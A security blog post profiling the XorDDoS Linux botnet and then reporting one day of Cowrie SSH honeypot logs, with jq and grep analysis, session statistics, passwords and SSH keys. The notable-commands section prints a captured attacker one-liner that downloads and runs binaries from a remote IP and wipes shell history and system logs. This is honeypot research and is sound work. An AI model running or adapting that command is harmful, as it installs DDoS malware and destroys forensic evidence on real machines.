  • First Seen / Known Since: First publicly reported in 2014 (discovered by MalwareMustDie).
  • Primary Targets / Industries: Linux servers, cloud instances, IoT devices, and container/Docker hosts.
  • Geographic Focus: Global; historically heavy activity in Asia and frequent targeting of US-based infrastructure in recent waves.

Infection & Distribution

  • Common Delivery Vectors: SSH brute-force / credential compromise, automated scanning of exposed services, malicious scripts dropped after initial access.
  • Initial Access Methods: Brute-force or stolen SSH credentials, exploitation of exposed management interfaces, automated deployment scripts.

Technical Characteristics

  • Platform / Language: Multi-architecture Linux ELF binaries (x86, x64, ARM); often accompanied by shell scripts for installation.
  • Persistence Mechanisms: Multiple-install-step approach including installing rootkit components, cron/jobs, service wrappers and use of scripts to re-deploy persistence across reboots.
  • Command & Control (C2): Encrypted communications often using simple XOR-based obfuscation; C2 infrastructure has evolved and includes resilient controller nodes and domain/IP patterns.
  • Capabilities: High-capacity volumetric DDoS (various UDP/TCP/HTTP flood techniques), remote command execution, bot management, and sometimes lateral scanning for new victims.
  • Evasion Techniques: XOR obfuscation of strings/traffic, rootkit hiding to conceal files/processes, multi-stage installers that complicate detection and attribution.

Notable Campaigns / Incidents

  • Historic wave (2014–2015): Large brute-force campaigns that initially brought XorDDoS to light.
  • Resurgence / recent waves (2019–2025): Periodic resurgences with improved controllers and infrastructure; researchers documented a notable wave and new controller activity between late 2023 and early 2025.

Impact Assessment

  • Damage Potential: Medium to High. Primarily contributes to large-scale DDoS campaigns; infected hosts are turned into bots and can cause significant service disruption or be rented/sold for DDoS-for-hire.
  • Typical Victim Impact: Service downtime, increased bandwidth costs, potential secondary compromises if credentials are reused.

Indicators & Artifacts


Detection & Mitigation

  • Detection Tips: Monitor for high outbound DDoS traffic, sudden SSH login failures/successes (brute-force patterns), unexpected long-running ELF processes, hidden files/modules, and unusual cron/service entries.
  • Immediate Mitigation Steps: Isolate infected hosts from network, revoke SSH keys/passwords, rotate credentials, remove malicious persistence, patch exposed services, and restore from known-good images if rootkit compromise suspected.
  • Longer-term Recommendations: Harden SSH (disable password auth, use keys with MFA, rate-limit/geo-block where possible), apply least-privilege, enable host-based monitoring/EPP with rootkit detection, block known C2 domains/IPs at perimeter, and maintain IR playbooks for botnet infections.

WriteUp & Useful Resources

29.09.2025 – Honeypot Journal – SSH


Honeypot Details:

Type: SSH
Software used: Cowrie

Results

We publish partial results in our GitHub repository
The repository includes passwords that were employed in brute‑force attacks, as well as SSH keys that have been used to maintain persistent access.

Tools Used: grep, jq, cut, cat, sort, uniq, file

29.09.25

In today’s journal entry I review the notable events and statistics collected by my Cowrie SSH honeypot on September 29, 2025.

The Cowrie instance runs on an isolated virtual machine to minimize risk and contain any interaction. I log all authentication attempts and record every command executed during attacker sessions. Command input and session metadata are retained for analysis, but any files that attackers attempt to create are not persisted to disk on this honeypot; the environment uses an emulated filesystem and does not store uploaded artifacts. This design choice reduces operational risk and simplifies recovery, but it also means I do not currently capture potential malware or dropped files.

Planned next steps: I will deploy a second, dedicated honeypot configured to capture and retain file artifacts and binaries for deeper forensic analysis. That secondary system will be isolated and instrumented to safely collect samples for static and dynamic inspection while preserving the containment and OPSEC posture of the current Cowrie deployment.

Cowrie stores all collected data in a cowrie.json log file. This file captures detailed information about authentication attempts, executed commands, session metadata, and other interactions with the honeypot.

Below are some example entries extracted from the JSON file generated by Cowrie:

{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.655839Z","src_ip":"87.120.191.13","session":"51e74f48f036"}
{"eventid":"cowrie.session.connect","src_ip":"87.120.191.13","src_port":38722,"dst_ip":"172.26.0.2","dst_port":2222,"session":"50b8f390b79b","protocol":"ssh","message":"New connection: 87.120.191.13:38722 (172.26.0.2:2222) [session: 50b8f390b79b]","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.340065Z"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ftpuser","message":"login attempt [ubnt/ftpuser] failed","sensor":"38749a7943fc","timestamp":"2025-09-29T20:58:40.657900Z","src_ip":"87.120.191.13","session":"83f0f267918f"}

Each entry in Cowrie is associated with an eventid, which allows us to track individual attacker actions throughout a session.

I have compiled a list of event IDs that Cowrie logs, providing an overview of the types of interactions and activities attackers perform on the honeypot.

Cowrie Event IDs

cowrie.client.fingerprint
ein angemeldeter SSH‑Public‑Key; username, fingerprint, key, type

cowrie.login.success
erfolgreiche Authentifizierung; username, password

cowrie.login.failed
fehlgeschlagene Authentifizierung; username, password

cowrie.client.size
Terminalgröße (SSH); width, height

cowrie.session.file_upload
hochgeladene Datei (z. B. via SFTP/SCP); filename, outfile, shasum

cowrie.command.input
vom Angreifer eingegebene Shell‑Befehle; input

cowrie.virustotal.scanfile
Datei an VirusTotal gesendet; sha256, is_new, positives, total

cowrie.session.connect
neue Verbindung (Session startet); src_ip, src_port, dst_ip, dst_port

cowrie.client.version
SSH‑Identification String; version

cowrie.client.kex
SSH Key‑Exchange Details; z. B. hassh, hasshAlgorithms, kexAlgs, keyAlgs

cowrie.session.closed
Session beendet; duration

cowrie.log.closed
TTY‑Log (session log) geschlossen; duration, ttylog (Dateiname), size, shasum, duplicate

cowrie.direct-tcpip.request
Anfrage zum Proxying (direct‑tcpip); dst_ip, dst_port, src_ip, src_port

cowrie.direct-tcpip.data
Daten, die über direct‑tcpip weitergeleitet werden sollten; dst_ip, dst_port

cowrie.client.var
variable Client‑Informationen; name, value

For an initial analysis I use grep to filter cowrie.json for specific eventid values. For today’s entry I will focus on the following areas:

  • Unique logins & geolocation: identify distinct successful authentications and map source IPs to countries
  • Notable executed commands: extract interesting or uncommon command sequences attackers ran
  • Longest sessions: find sessions with the greatest duration or highest command count
  • SSH keys: capture any public keys presented by clients or any key-related activity
  • Passwords: collect attempted passwords used during authentication attempts


Unique logins & geolocation

To extract all login attempts, I search for the following events: cowrie.login.success and cowrie.login.failed.
I use the following command to search for these two events:

grep "cowrie.login.*" | jq -r '.src_ip' | sort | uniq


To find out how many IP addresses attempted to connect:

grep "cowrie.login.*" cowrie.json.2025-09-29 | jq -r '.src_ip' | sort | uniq | wc -l
> 41

I now want to perform geolocation to generate statistics about the countries of the IP addresses.

For quick queries, I use the GeoIP tool. Unlike tools such as whois, GeoIP allows offline lookups, making it more efficient for bulk queries and simplifying the process of geolocating many IPs.

To generate statistics, we can use standard Linux tools. Here is a one-liner to create country statistics:

while read -r line; do geoiplookup "$line" | cut -d' ' -f5- >> countries.tmp; done < ips.txt; sort < countries.tmp | uniq -c | sort -rn ; rm countries.tmp

The result:

China is the clear leader for today, followed by the United States, with Romania taking third place.


Notable executed commands

Since traffic on the honeypot remains modest, we can generate an overview of all distinct commands executed to identify potential candidates for deeper analysis:

grep "cowrie.command.input" cowrie.json | jq -r '.input' | sort | uniq

As we can see, quite a lot is happening here. Most of this activity comes from scanners that spend the entire day probing the Internet for open SSH ports and attempting to log in using password lists. Targets can include dedicated and cloud servers, IoT devices, industrial systems, and more.

Data collected from honeypots can be useful for several reasons:

  • IP Tracking: Attackers can be identified and reported.
  • Behavior Analysis: Record and analyze attacker behavior within the honeypot.
  • Malware Analysis: Track and store malware installed by attackers for further analysis.

Beyond the common background noise generated by these scanners, occasional attempts to install malware can be observed.

Here is what I found in today’s logs:

wdir="/bin"; for i in "/bin" "/home" "/root" "/tmp" "/usr" "/etc"; do; if [ -w $i ]; then; wdir=$i; break; fi; done; cd $wdir; curl http://23.160.56.64/p.txt -o ygljglkjgfg0; chmod +x ygljglkjgfg0; ./ygljglkjgfg0; wget http://23.160.56.64/p.txt -O ygljglkjgfg1; chmod +x ygljglkjgfg1; ./ygljglkjgfg1; good http://23.160.56.64/p.txt -O ygljglkjgfg2; chmod +x ygljglkjgfg2; ./ygljglkjgfg2; sleep 2; wget http://23.160.56.64/r.txt -O sdf3fslsdf13; chmod +x sdf3fslsdf13; ./sdf3fslsdf13; good http://23.160.56.64/r.txt -O sdf3fslsdf14; chmod +x sdf3fslsdf14; ./sdf3fslsdf14; curl http://23.160.56.64/r.txt -o sdf3fslsdf15; chmod +x sdf3fslsdf15; ./sdf3fslsdf15; sleep 2; mv /usr/bin/wget /usr/bin/good; mv /bin/wget /bin/good; cat /dev/null >/root/.bash_history; cat /dev/null > /var/log/wtmp; cat /dev/null > /var/log/btmp; cat /dev/null > /var/log/lastlog; cat /dev/null > /var/log/secure; cat /dev/null > /var/log/boot.log; cat /dev/null > /var/log/cron; cat /dev/null > /var/log/dmesg; cat /dev/null > /var/log/firewalld; cat /dev/null > /var/log/maillog; cat /dev/null > /var/log/messages; cat /dev/null > /var/log/spooler; cat /dev/null > /var/log/syslog; cat /dev/null > /var/log/tallylog; cat /dev/null > /var/log/yum.log; cat /dev/null >/root/.bash_history; ls -la /var/run/gcc.pid; exit $?

Security warning: Do not download the file unless you know what you’re doing!

I downloaded p.txt and took a closer look at the file. A quick inspection reveals that it is not a text file but an ELF binary.

> file p.txt 
p.txt: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped

To verify what type of malware this is, I uploaded the file to VirusTotal.

Now we know a bit more about the mysterious p.txt: it is the XorDDoS malware.

XorDDoS is a Linux-based malware that infects devices via weak SSH passwords or exposed services. It obfuscates its communication using XOR, turns infected systems into botnet nodes, and is primarily used to carry out DDoS attacks. Linux servers, IoT devices, and cloud systems are particularly targeted.

Read More about the XORDDoS Malware here:

References (Click to Open)

https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos
https://unit42.paloaltonetworks.com/new-linux-xorddos-trojan-campaign-delivers-malware
https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices
https://blog.talosintelligence.com/unmasking-the-new-xorddos-controller-and-infrastructure
https://thehackernews.com/2025/04/experts-uncover-new-xorddos-controller.html
https://research.splunk.com/stories/xorddos/
https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
https://raw.githubusercontent.com/stamparm/maltrail/master/trails/static/malware/elf_xorddos.txt


Longest sessions

A beneficial side effect of operating a honeypot is the stolen time that scanners can never get back. Efficient botnet construction, when scanning the Internet for open ports, depends on speed. Smart scanners will ideally detect honeypots early and terminate the session once identified; any time an attacker spends on our honeypot is time they cannot use to infect other systems. With only a few honeypots this effect is marginal, but it scales: the more honeypots deployed across the Internet, the more attacker time is wasted.

I generate time-based statistics from the cowrie.session.closed event, since it includes session duration information.

In the log it looks like this:

{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"38749a7943fc","timestamp":"2025-09-29T23:57:44.723554Z","src_ip":"92.118.39.62","session":"33b169382dae"}

To generate concrete statistics from that, I use the following command:

cat cowrie.json.2025-09-29 | grep "cowrie.session.closed" | cut -d':' -f4 | cut -d' ' -f 4  | sort | uniq | sort -rn | head

The longest session therefore lasted 274 minutes, i.e. about 4 hours 34 minutes

Now I want to calculate the total time all attackers spent on my system. For that I reuse my previous query and use awk to sum all durations.

cat cowrie.json.2025-09-29 | grep "cowrie.session.closed" | cut -d':' -f4 | cut -d' ' -f 4  | sort | uniq | sort -rn | awk '{for(i=1;i<=NF;i++) sum+=$i} END{print sum/60}'
> 30.6267

Overall, attackers spent 30 minutes on the system that day. That may seem insignificant at first, but it scales dramatically when extrapolated across hundreds or thousands of honeypots.


SSH-Keys

To gain persistent access, attackers often try to install SSH keys. These can provide valuable indicators to identify attackers early or attribute attacks to a particular actor. Since I have only found RSA public keys in the logs so far, I will explicitly search for those. However, attackers could theoretically use other algorithms for their SSH keys, so this command would need to be adjusted accordingly, currently I only filter for RSA keys. To extract these from the logs I use the following command:

cat cowrie.json | grep -o 'ssh-rsa A[A-Za-z0-9+/=]\+' | sort | uniq

If you want to scan for other SSH public keys, consider searching for ecdsa-sha2-*, ssh-ed25519, or ssh-dss as well.

Note: In my GitHub repository you can find all logs and analyses I have collected.


Passwords

Another interesting aspect is generating a password list from the attackers’ login attempts. These password lists can be used to verify the strength of our own passwords, but also for other purposes such as detecting default credentials that may be embedded in applications. Such defaults are frequently abused to build botnets and remain a persistent problem, partly because some vendors do not take it seriously or, in some cases, include weak credentials intentionally.

To filter the passwords from today’s log I use the following command:

cat cowrie.json.2025-09-29 | grep "cowrie.login.*" | cut -d':' -f3,4 | cut -d '"' -f2,6 | grep -v '^"' | sed 's/"/:/' | sort | uniq

In total, I was able to identify 855 unique passwords for today.

Note: In my GitHub repository you can find all logs and analyses I have collected.